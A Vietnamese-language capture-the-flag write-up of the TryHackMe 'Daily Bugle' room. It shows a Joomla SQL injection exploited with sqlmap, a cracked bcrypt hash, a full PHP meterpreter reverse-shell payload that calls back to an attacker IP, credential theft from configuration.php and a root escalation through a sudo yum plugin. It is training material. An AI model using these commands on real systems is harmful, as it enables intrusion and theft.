Daily Bugle
Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.
Initial Reconnaissance
Service Scanning
$ rustscan -a 10.201.73.74 -- -A
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbp89KqmXj7Xx84uhisjiT7pGPYepXVTr4MnPu1P4fnlWzevm6BjeQgDBnoRVhddsjHhI1k+xdnahjcv6kykfT3mSeljfy+jRc+2ejMB95oK2AGycavgOfF4FLPYtd5J97WqRmu2ZC2sQUvbGMUsrNaKLAVdWRIqO5OO07WIGtr3c2ZsM417TTcTsSh1Cjhx3F+gbgi0BbBAN3sQqySa91AFruPA+m0R9JnDX5rzXmhWwzAM1Y8R72c4XKXRXdQT9szyyEiEwaXyT0p6XiaaDyxT2WMXTZEBSUKOHUQiUhX7JjBaeVvuX4ITG+W8zpZ6uXUrUySytuzMXlPyfMBy8B
| 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKb+wNoVp40Na4/Ycep7p++QQiOmDvP550H86ivDdM/7XF9mqOfdhWK0rrvkwq9EDZqibDZr3vL8MtwuMVV5Src=
| 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4TcvlwCGpiawPyNCkuXTK5CCpat+Bv8LycyNdiTJHX
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open mysql syn-ack ttl 60 MariaDB 10.3.23 or earlier (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15Chúng ta thấy có ba port đang mở là SSH, HTTP và MySQL, đồng thời web server có thể đang chạy Joomla CMS bởi có thư mục /joomla.
SSH 22

Dịch vụ SSH được bật password authentication, có nghĩa là đăng nhập bằng password là khả thi.
HTTP 80

Spider-Man chính là người đã cướp ngân hàng!!
Directory Enumeration
Tiếp theo, chúng ta thực hiện directory scan bằng gobuster, đồng thời tìm kiếm cả file php và txt, loại trừ các status code 404 và 403 để tránh nhiễu.
$ gobuster dir -u http://10.201.35.210 -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt -b 404,403
/administrator (Status: 301) [Size: 243] [--> http://10.201.35.210/administrator/]
/bin (Status: 301) [Size: 233] [--> http://10.201.35.210/bin/]
/cache (Status: 301) [Size: 235] [--> http://10.201.35.210/cache/]
/components (Status: 301) [Size: 240] [--> http://10.201.35.210/components/]
/configuration.php (Status: 200) [Size: 0]
/images (Status: 301) [Size: 236] [--> http://10.201.35.210/images/]
/includes (Status: 301) [Size: 238] [--> http://10.201.35.210/includes/]
/index.php (Status: 200) [Size: 9280]
/index.php (Status: 200) [Size: 9280]
/language (Status: 301) [Size: 238] [--> http://10.201.35.210/language/]
/layouts (Status: 301) [Size: 237] [--> http://10.201.35.210/layouts/]
/libraries (Status: 301) [Size: 239] [--> http://10.201.35.210/libraries/]
/LICENSE.txt (Status: 200) [Size: 18092]
/media (Status: 301) [Size: 235] [--> http://10.201.35.210/media/]
/modules (Status: 301) [Size: 237] [--> http://10.201.35.210/modules/]
/plugins (Status: 301) [Size: 237] [--> http://10.201.35.210/plugins/]
/README.txt (Status: 200) [Size: 4494]
/robots.txt (Status: 200) [Size: 836]
/robots.txt (Status: 200) [Size: 836]
/templates (Status: 301) [Size: 239] [--> http://10.201.35.210/templates/]
/tmp (Status: 301) [Size: 233] [--> http://10.201.35.210/tmp/]
/web.config.txt (Status: 200) [Size: 1690]/robots.txt

Trong quá trình này, chúng ta phát hiện file robots.txt chứa khá nhiều directory bị disallow, nhưng hầu hết lại không có gì đặc biệt.
/administrator

Để tiếp tục, chúng ta tham khảo Pentesting Methodology cho Joomla từ đây:
/README.txt

Sau khi kiểm tra README.txt, chúng ta xác định Joomla đang chạy phiên bản 3.7.x, nhưng vẫn chưa có số chính xác.
/joomla.xml

Tại file joomla.xml, chúng ta đã biết chính xác phiên bản là 3.7.0.
MariaDB 3306
$ sudo nmap -p 3306 --script=mysql-enum.nse,mysql-info.nse,mysql-users.nse,mysql-databases.nse,mysql-vuln-cve2012-2122.nse 10.201.31.136
PORT STATE SERVICE
3306/tcp open mysql
| mysql-enum:
| Accounts: No valid accounts found
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0Hiện tại chúng ta chưa tìm thấy thông tin gì hữu ích từ dịch vụ MySQL.
SQL Injection
Tuy nhiên, Joomla phiên bản 3.7.0 tồn tại một lỗ hổng SQL Injection (CVE-2017-8917), điều này được xác nhận qua kết quả tìm kiếm bằng searchsploit.


Dump Databases
Chúng ta làm theo hướng dẫn trong exploit, chạy sqlmap để khai thác lỗ hổng. Ở bước này, nên chỉ định rõ DBMS là MySQL, nếu không sqlmap sẽ thử nhiều payload cho các DBMS khác nhau, mất rất nhiều thời gian.
sqlmap -u "http://10.201.35.210/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --dbms=mysql
Chúng ta tập trung khai thác vào database joomla.
Dump Database Tables
sqlmap -u "http://10.201.35.210/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --tables -D joomla -p list[fullordering] --dbms=mysqlDatabase: joomla
[72 tables]
+----------------------------+
| #__assets |
| #__associations |
| #__banner_clients |
| #__banner_tracks |
| #__banners |
| #__categories |
| #__contact_details |
| #__content_frontpage |
| #__content_rating |
| #__content_types |
| #__content |
| #__contentitem_tag_map |
| #__core_log_searches |
| #__extensions |
| #__fields_categories |
| #__fields_groups |
| #__fields_values |
| #__fields |
| #__finder_filters |
| #__finder_links_terms0 |
| #__finder_links_terms1 |
| #__finder_links_terms2 |
| #__finder_links_terms3 |
| #__finder_links_terms4 |
| #__finder_links_terms5 |
| #__finder_links_terms6 |
| #__finder_links_terms7 |
| #__finder_links_terms8 |
| #__finder_links_terms9 |
| #__finder_links_termsa |
| #__finder_links_termsb |
| #__finder_links_termsc |
| #__finder_links_termsd |
| #__finder_links_termse |
| #__finder_links_termsf |
| #__finder_links |
| #__finder_taxonomy_map |
| #__finder_taxonomy |
| #__finder_terms_common |
| #__finder_terms |
| #__finder_tokens_aggregate |
| #__finder_tokens |
| #__finder_types |
| #__languages |
| #__menu_types |
| #__menu |
| #__messages_cfg |
| #__messages |
| #__modules_menu |
| #__modules |
| #__newsfeeds |
| #__overrider |
| #__postinstall_messages |
| #__redirect_links |
| #__schemas |
| #__session |
| #__tags |
| #__template_styles |
| #__ucm_base |
| #__ucm_content |
| #__ucm_history |
| #__update_sites_extensions |
| #__update_sites |
| #__updates |
| #__user_keys |
| #__user_notes |
| #__user_profiles |
| #__user_usergroup_map |
| #__usergroups |
| #__users |
| #__utf8_conversion |
| #__viewlevels |
+----------------------------+Khi truy cập đến bảng #__users, việc đầu tiên là dump ra danh sách các cột.
Dump Columns
sqlmap -u "http://10.201.35.210/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent list[fullordering] --dbms=mysql --columns -D joomla -T "#__users"
Tại đây, ta thấy hai cột username và password có thể đã đủ thông tin, ta không cần dump thêm nữa.
Dump Table Entries
sqlmap -u "http://10.201.35.210/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent list[fullordering] --dbms=mysql -D joomla -T "#__users" -C "id,username,email,password" --dumpDatabase: joomla
Table: #__users
[1 entry]
+-----+----------+---------------------+--------------------------------------------------------------+
| id | username | email | password |
+-----+----------+---------------------+--------------------------------------------------------------+
| 811 | jonah | jonah@tryhackme.com | $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm |
+-----+----------+---------------------+--------------------------------------------------------------+Kết quả cho thấy chúng ta thu được password hash của user jonah. Bước tiếp theo là xác định loại hashing algorithm.

Possible algorithms: bcrypt $2*$, Blowfish (Unix), bcrypt(md5($plaintext)), bcrypt(sha256($plaintext))Thuật toán gần nhất được xác định là bcrypt (dùng trong unix). Với thông tin này, chúng ta sử dụng hashcat để crack hash.
C:\Users\Nguyen Tuong Hung\Desktop\hashcat-7.0.0\hashcat-7.0.0>.\hashcat.exe -m 3200 -a 0 ..\..\hash.txt ..\..\rockyou.txt
Cuối cùng, chúng ta đã crack thành công password của jonah.
jonah:spiderman123Control Panel Access as jonah
Chúng ta thành công truy cập vào Joomla Control Panel bằng tài khoản của jonah.

System Information
Ta thấy được thông tin của hệ thống:

Remote Code Execution
Chúng ta lại tham khảo trang HackTricks và thấy có cách để đạt được RCE (Remote Code Execution) thông qua control panel.



Đầu tiên, chúng ta tạo một payload bằng msfvenom. Sau đó, ta thay thế một file php có sẵn trong Joomla bằng payload này. Cụ thể, chúng ta ghi đè file: /templates/protostar/index.php.
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.17.21.52 LPORT=4242 -f raw -o rev.php$ cat rev.php
/*<?php /**/ error_reporting(0); $ip = '10.17.21.52'; $port = 4242; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Shell as apache
Khi truy cập vào file đó qua trình duyệt, reverse shell sẽ được kích hoạt.

Sudo Permissions
bash-4.2$ sudo -l
sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for apache:Tuy nhiên, chúng ta không biết password của user apache, nên tại thời điểm này chưa thể làm gì thêm.
/etc/passwd
Chúng ta kiểm tra file /etc/passwd để xem còn những user nào khác trong hệ thống
bash-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologinTa thấy có một user hợp lệ khác đó là jjameson.
configuration.php
Chúng ta cũng đọc file config trong thư mục /var/www/html vì có khả năng chứa thông tin nhạy cảm.
bash-4.2$ cd /var/www/html
cd /var/www/html
bash-4.2$ ls -la
ls -la
total 64
drwxr-xr-x. 17 apache apache 4096 Dec 14 2019 .
drwxr-xr-x. 4 root root 33 Dec 14 2019 ..
-rwxr-xr-x. 1 apache apache 18092 Apr 25 2017 LICENSE.txt
-rwxr-xr-x. 1 apache apache 4494 Apr 25 2017 README.txt
drwxr-xr-x. 11 apache apache 159 Apr 25 2017 administrator
drwxr-xr-x. 2 apache apache 44 Apr 25 2017 bin
drwxr-xr-x. 2 apache apache 24 Apr 25 2017 cache
drwxr-xr-x. 2 apache apache 119 Apr 25 2017 cli
drwxr-xr-x. 19 apache apache 4096 Apr 25 2017 components
-rw-r--r-- 1 apache apache 1982 Dec 14 2019 configuration.php
-rwxr-xr-x. 1 apache apache 3005 Apr 25 2017 htaccess.txt
drwxr-xr-x. 5 apache apache 164 Dec 15 2019 images
drwxr-xr-x. 2 apache apache 64 Apr 25 2017 includes
-rwxr-xr-x. 1 apache apache 1420 Apr 25 2017 index.php
drwxr-xr-x. 4 apache apache 54 Apr 25 2017 language
drwxr-xr-x. 5 apache apache 70 Apr 25 2017 layouts
drwxr-xr-x. 11 apache apache 255 Apr 25 2017 libraries
drwxr-xr-x. 26 apache apache 4096 Apr 25 2017 media
drwxr-xr-x. 27 apache apache 4096 Apr 25 2017 modules
drwxr-xr-x. 16 apache apache 250 Apr 25 2017 plugins
-rwxr-xr-x. 1 apache apache 836 Apr 25 2017 robots.txt
drwxr-xr-x. 5 apache apache 68 Dec 15 2019 templates
drwxr-xr-x. 2 apache apache 24 Dec 15 2019 tmp
-rwxr-xr-x. 1 apache apache 1690 Apr 25 2017 web.config.txt
bash-4.2$ cat configuration.php
cat configuration.php
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'The Daily Bugle';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'root';
public $password = 'nv5uz9r3ZEDzVjNu';
public $db = 'joomla';
public $dbprefix = 'fb9j5_';
public $live_site = '';
public $secret = 'UAMBRWzHO3oFPmVC';
public $gzip = '0';
public $error_reporting = 'default';
...Chúng ta phát hiện được password của database user root. Hay thử đăng nhập xem có thông tin gì hữu ích trong database không.
bash-4.2$ mysql -u root -p
mysql -u root -p
Enter password: nv5uz9r3ZEDzVjNu
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 35
Server version: 5.5.64-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
| mysql |
| performance_schema |
| test |
+--------------------+
5 rows in set (0.00 sec)
MariaDB [(none)]> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> show tables;
show tables;
+---------------------------+
| Tables_in_mysql |
+---------------------------+
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------+
24 rows in set (0.00 sec)
MariaDB [mysql]> select * from user;
MariaDB [mysql]> use test;
use test;
Database changed
MariaDB [test]> show tables;
show tables;
Empty set (0.00 sec)Chúng ta không tìm thấy gì thực sự giá trị trong database.
Shell as jjameson
Nhiều người lười thay đổi password và hay dùng cùng một password cho nhiều dịch vụ khác nhau. Do đó, chúng ta thử lại password này ở các nơi khác trong hệ thống. Cuối cùng, chúng ta phát hiện user jjameson dùng cùng password với MySQL root user.
bash-4.2$ su jjameson
su jjameson
Password: nv5uz9r3ZEDzVjNu
[jjameson@dailybugle html]$ id
id
uid=1000(jjameson) gid=1000(jjameson) groups=1000(jjameson)user.txt
[jjameson@dailybugle home]$ cd ~
cd ~
[jjameson@dailybugle ~]$ ls -la
ls -la
total 16
drwx------. 2 jjameson jjameson 99 Dec 15 2019 .
drwxr-xr-x. 3 root root 22 Dec 14 2019 ..
lrwxrwxrwx 1 jjameson jjameson 9 Dec 14 2019 .bash_history -> /dev/null
-rw-r--r--. 1 jjameson jjameson 18 Aug 8 2019 .bash_logout
-rw-r--r--. 1 jjameson jjameson 193 Aug 8 2019 .bash_profile
-rw-r--r--. 1 jjameson jjameson 231 Aug 8 2019 .bashrc
-rw-rw-r-- 1 jjameson jjameson 33 Dec 15 2019 user.txt
[jjameson@dailybugle ~]$ cat user.txt
cat user.txt
27a260fe3cba712cfdedb1c86d80442eSudo Permissions
[jjameson@dailybugle ~]$ sudo -l
sudo -l
Matching Defaults entries for jjameson on dailybugle:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User jjameson may run the following commands on dailybugle:
(ALL) NOPASSWD: /usr/bin/yumKhi kiểm tra quyền của jjameson, chúng ta thấy anh ta có thể chạy binary yum với quyền của bất kỳ user nào mà không cần password. Đây là cơ hội để leo quyền, vì chúng ta có thể lạm dụng yum để chiếm quyền root theo hướng dẫn công khai.
Shell as root
[jjameson@dailybugle tmp]$ TF=$(mktemp -d)
TF=$(mktemp -d)
[jjameson@dailybugle tmp]$ cat >$TF/x<<EOF
cat >$TF/x<<EOF
> [main]
> plugins=1
> pluginpath=$TF
> pluginconfpath=$TF
> EOF
[jjameson@dailybugle tmp]$ cat >$TF/y.conf<<EOF
cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
[jjameson@dailybugle tmp]$ cat >$TF/y.py<<EOF
cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
> os.execl('/bin/sh','/bin/sh')
> EOF
[jjameson@dailybugle tmp]$ sudo yum -c $TF/x --enableplugin=y
sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root)root.txt
sh-4.2# cd /root
cd /root
sh-4.2# ls -la
ls -la
total 28
dr-xr-x---. 3 root root 163 Dec 15 2019 .
dr-xr-xr-x. 17 root root 244 Dec 14 2019 ..
lrwxrwxrwx 1 root root 9 Dec 14 2019 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 Dec 28 2013 .bash_logout
-rw-r--r--. 1 root root 176 Dec 28 2013 .bash_profile
-rw-r--r--. 1 root root 176 Dec 28 2013 .bashrc
-rw-r--r--. 1 root root 100 Dec 28 2013 .cshrc
drwxr-----. 3 root root 19 Dec 14 2019 .pki
-rw-r--r--. 1 root root 129 Dec 28 2013 .tcshrc
-rw-------. 1 root root 1484 Dec 14 2019 anaconda-ks.cfg
-rw-r--r-- 1 root root 33 Dec 15 2019 root.txt
sh-4.2# cat root.txt
cat root.txt
eec3d53292b1821868266858d7fa6f79